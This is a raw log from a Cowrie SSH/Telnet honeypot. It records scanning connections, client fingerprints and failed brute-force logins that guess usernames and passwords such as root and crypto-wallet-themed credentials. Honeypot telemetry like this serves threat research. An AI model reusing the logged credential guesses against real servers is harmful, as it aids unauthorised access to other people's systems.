{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":34464,"dst_ip":"10.17.0.5","dst_port":22,"session":"34d2affa5f30","protocol":"ssh","message":"New connection: 162.144.61.95:34464 (10.17.0.5:22) [session: 34d2affa5f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:31.625761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:31.629267Z","src_ip":"162.144.61.95","session":"34d2affa5f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:31.717733Z","src_ip":"162.144.61.95","session":"34d2affa5f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ETH$M@st3r@P@ss","message":"login attempt [root/ETH$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:31.985279Z","src_ip":"162.144.61.95","session":"34d2affa5f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:33.076085Z","src_ip":"162.144.61.95","session":"34d2affa5f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b88fe9366998","protocol":"telnet","message":"New connection: 137.184.5.188:56104 (159.203.135.109:23) [session: b88fe9366998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:36.396506Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":50324,"dst_ip":"10.17.0.5","dst_port":22,"session":"c27e612752bf","protocol":"ssh","message":"New connection: 132.148.142.226:50324 (10.17.0.5:22) [session: c27e612752bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:44.024626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:44.028503Z","src_ip":"132.148.142.226","session":"c27e612752bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:44.095180Z","src_ip":"132.148.142.226","session":"c27e612752bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"enjinwallet","password":"enjin123","message":"login attempt [enjinwallet/enjin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:44.292053Z","src_ip":"132.148.142.226","session":"c27e612752bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:45.360034Z","src_ip":"132.148.142.226","session":"c27e612752bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:02.993100Z","src_ip":"46.19.67.181","session":"049fec55f0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":56752,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48531b605e9","protocol":"telnet","message":"New connection: 72.167.226.244:56752 (10.17.0.5:23) [session: c48531b605e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:11.280090Z"}
{"eventid":"cowrie.session.closed","duration":120.00254130363464,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:27.495175Z","src_ip":"143.198.154.150","session":"859802e3afc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.84888029098511,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:28.245244Z","src_ip":"137.184.5.188","session":"b88fe9366998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946335792541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:42.226283Z","src_ip":"72.167.226.244","session":"c48531b605e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.141","src_port":32880,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d8a076ff78","protocol":"ssh","message":"New connection: 45.148.10.141:32880 (159.203.135.109:22) [session: 45d8a076ff78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:51.105286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:51.108967Z","src_ip":"45.148.10.141","session":"45d8a076ff78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:51.193779Z","src_ip":"45.148.10.141","session":"45d8a076ff78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:51.568323Z","src_ip":"45.148.10.141","session":"45d8a076ff78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":58682,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b0c9b77e251","protocol":"ssh","message":"New connection: 173.236.247.120:58682 (159.203.135.109:22) [session: 4b0c9b77e251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:59.995773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:07:59.999952Z","src_ip":"173.236.247.120","session":"4b0c9b77e251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:00.010116Z","src_ip":"173.236.247.120","session":"4b0c9b77e251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phantom","password":"P@ssw0rd#S@f3!1","message":"login attempt [phantom/P@ssw0rd#S@f3!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:00.042061Z","src_ip":"173.236.247.120","session":"4b0c9b77e251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:01.053088Z","src_ip":"173.236.247.120","session":"4b0c9b77e251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":61875,"dst_ip":"10.17.0.5","dst_port":22,"session":"50bb692efdc4","protocol":"ssh","message":"New connection: 87.156.182.84:61875 (10.17.0.5:22) [session: 50bb692efdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:32.356909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:33.206007Z","src_ip":"87.156.182.84","session":"50bb692efdc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:33.310627Z","src_ip":"87.156.182.84","session":"50bb692efdc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wc123456","message":"login attempt [root/wc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:37.778955Z","src_ip":"87.156.182.84","session":"50bb692efdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:38.890718Z","src_ip":"87.156.182.84","session":"50bb692efdc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":49374,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a60dbe02b64","protocol":"ssh","message":"New connection: 143.20.185.207:49374 (159.203.135.109:22) [session: 4a60dbe02b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:42.154345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:42.157835Z","src_ip":"143.20.185.207","session":"4a60dbe02b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:42.271553Z","src_ip":"143.20.185.207","session":"4a60dbe02b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS4VCPU16GBAMD","message":"login attempt [root/undefinedVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:42.622087Z","src_ip":"143.20.185.207","session":"4a60dbe02b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:08:43.744354Z","src_ip":"143.20.185.207","session":"4a60dbe02b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":43018,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7b731af6266","protocol":"ssh","message":"New connection: 192.169.202.129:43018 (159.203.135.109:22) [session: e7b731af6266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:11.153434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:11.157310Z","src_ip":"192.169.202.129","session":"e7b731af6266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:11.223969Z","src_ip":"192.169.202.129","session":"e7b731af6266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P1x3l!M@st3r#P@ss","message":"login attempt [root/P1x3l!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:11.420224Z","src_ip":"192.169.202.129","session":"e7b731af6266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:12.490480Z","src_ip":"192.169.202.129","session":"e7b731af6266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":56728,"dst_ip":"10.17.0.5","dst_port":22,"session":"960b2a9ecc17","protocol":"ssh","message":"New connection: 144.91.108.61:56728 (10.17.0.5:22) [session: 960b2a9ecc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:57.432241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:57.435293Z","src_ip":"144.91.108.61","session":"960b2a9ecc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:57.527330Z","src_ip":"144.91.108.61","session":"960b2a9ecc17","protocol":"ssh"}
